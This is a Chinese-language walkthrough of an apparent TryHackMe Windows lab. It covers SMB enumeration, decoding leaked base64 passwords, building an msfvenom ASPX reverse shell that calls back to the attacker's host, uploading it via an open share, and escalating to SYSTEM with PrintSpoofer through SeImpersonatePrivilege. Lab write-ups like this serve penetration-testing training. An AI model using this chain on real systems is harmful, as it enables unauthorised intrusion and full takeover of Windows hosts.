题目描述
难度:中等 描述: 前置条件:
您已被分配到一个需要渗透测试的客户 在应在 7 天后发布到生产环境的环境中执行。
工作范围
客户端请求 工程师进行评估 提供的虚拟环境。客户要求最低限度 提供有关评估的信息,希望参与 从恶意行为者的眼睛进行(黑匣子渗透 test) 的客户端要求您保护两个标志(无位置 提供)作为利用证明:
- User.txt
- Root.txt
此外,客户还提供了以下范围限额:
-
此项目允许使用任何工具或技术,但我们要求您先尝试手动利用
-
找到并记录发现的所有漏洞
-
将发现的标记提交到仪表板
-
只有分配给计算机的 IP 地址在范围内
-
查找并报告所有漏洞(是的,通往 root 的路径不止一条)
(角色扮演关闭)
我 鼓励您将此挑战视为实际的渗透测试。 考虑写一份报告,包括执行摘要。 漏洞和利用评估以及补救建议, 因为这将使您为 eLearnSecurity 认证专业渗透测试员或职业生涯做好准备 作为现场的渗透测试人员。
注意 - 此房间中没有任何内容需要 Metasploit
基本信息
| 🚀 | 本地机器信息 | 目标机器信息 |
|---|---|---|
| IP | 10.17.5.121 | 10.10.106.190 |
| OS | kali | Windows |
信息搜集
端口扫描
Open 10.10.106.190:445
Open 10.10.106.190:80
Open 10.10.106.190:135
Open 10.10.106.190:139
Open 10.10.106.190:3389
Open 10.10.106.190:49663
Open 10.10.106.190:49668
Open 10.10.106.190:49666
49663/tcp open http syn-ack ttl 124 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
路径枚举
enum4linux 10.10.106.190
❯ smbclient -L //10.10.106.190
Password for [WORKGROUP\kali]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
nt4wrksv Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.106.190 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
kali@kali ~/Documents/thm/creative
❯ smbclient //10.10.106.190/nt4wrksv
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Jul 25 17:46:04 2020
.. D 0 Sat Jul 25 17:46:04 2020
passwords.txt A 98 Sat Jul 25 11:15:33 2020
7735807 blocks of size 4096. 4944646 blocks available
kali@kali ~/Documents/thm/creative [127]
❯ echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" |base64 -d
Bob - !P@$$W0rD!123⏎ kali@kali ~/Documents/thm/creative
❯ echo "QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk" |base64 -d
Bill - Juw4nnaM4n420696969!$$$⏎ kali@kali ~/Documents/thm/creative
SSH登录失败 寻找别的攻击向量 如果能找到文件上传的地方 和文件调用的地方可以获取webshell
可以访问到smb里面的文件
┌──(kali㉿kali)-[~/Documents/thm/creative]
└─$ curl http://10.10.106.190:49663/nt4wrksv/passwords.txt
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
漏洞发现
获取上传aspshell 获取webshell
漏洞利用

webshell

┌──(kali㉿kali)-[~/Documents/thm/relevant]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.17.5.121 LPORT=1234 -f aspx -o shell.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of aspx file: 3422 bytes
Saved as: shell.aspx
┌──(kali㉿kali)-[~/Documents/thm/relevant]
└─$ curl http://10.10.106.190:49663/nt4wrksv/shell.aspx

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool
usershell
PS C:\Users\Bob\Desktop> cat user.txt
cat user.txt
THM{}
rootshell
PS C:\Users\Bob\Desktop> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:
由上图可知 当前用户似乎启用了 SeImpersonatePrivilege 令牌权限,这意味着我们可以使用令牌模拟来提升权限;接下来我们需要在目标机上执行一个漏洞利用程序—下载PrintSpoofer.exe,并将该exe文件上传到目标机(可以通过SMB服务上传文件)。
dir /s /b c:\ | find "PrintSpoofer64.exe"
C:\inetpub\wwwroot\nt4wrksv>whoami
whoami
iis apppool\defaultapppool
C:\inetpub\wwwroot\nt4wrksv>PrintSpoofer64.exe -i -c cmd
PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>
C:\Users\Administrator\Desktop>type root.txt
type root.txt
THM{}
知识点回顾
总结
SMB文件上传到webshell获取
通过在 Windows 10 和 Server 2016/2019 上滥用从 LOCAL/NETWORK SERVICE 到 SYSTEM。SeImpersonatePrivilege
应该还有其他思路 有两个base64文件没有利用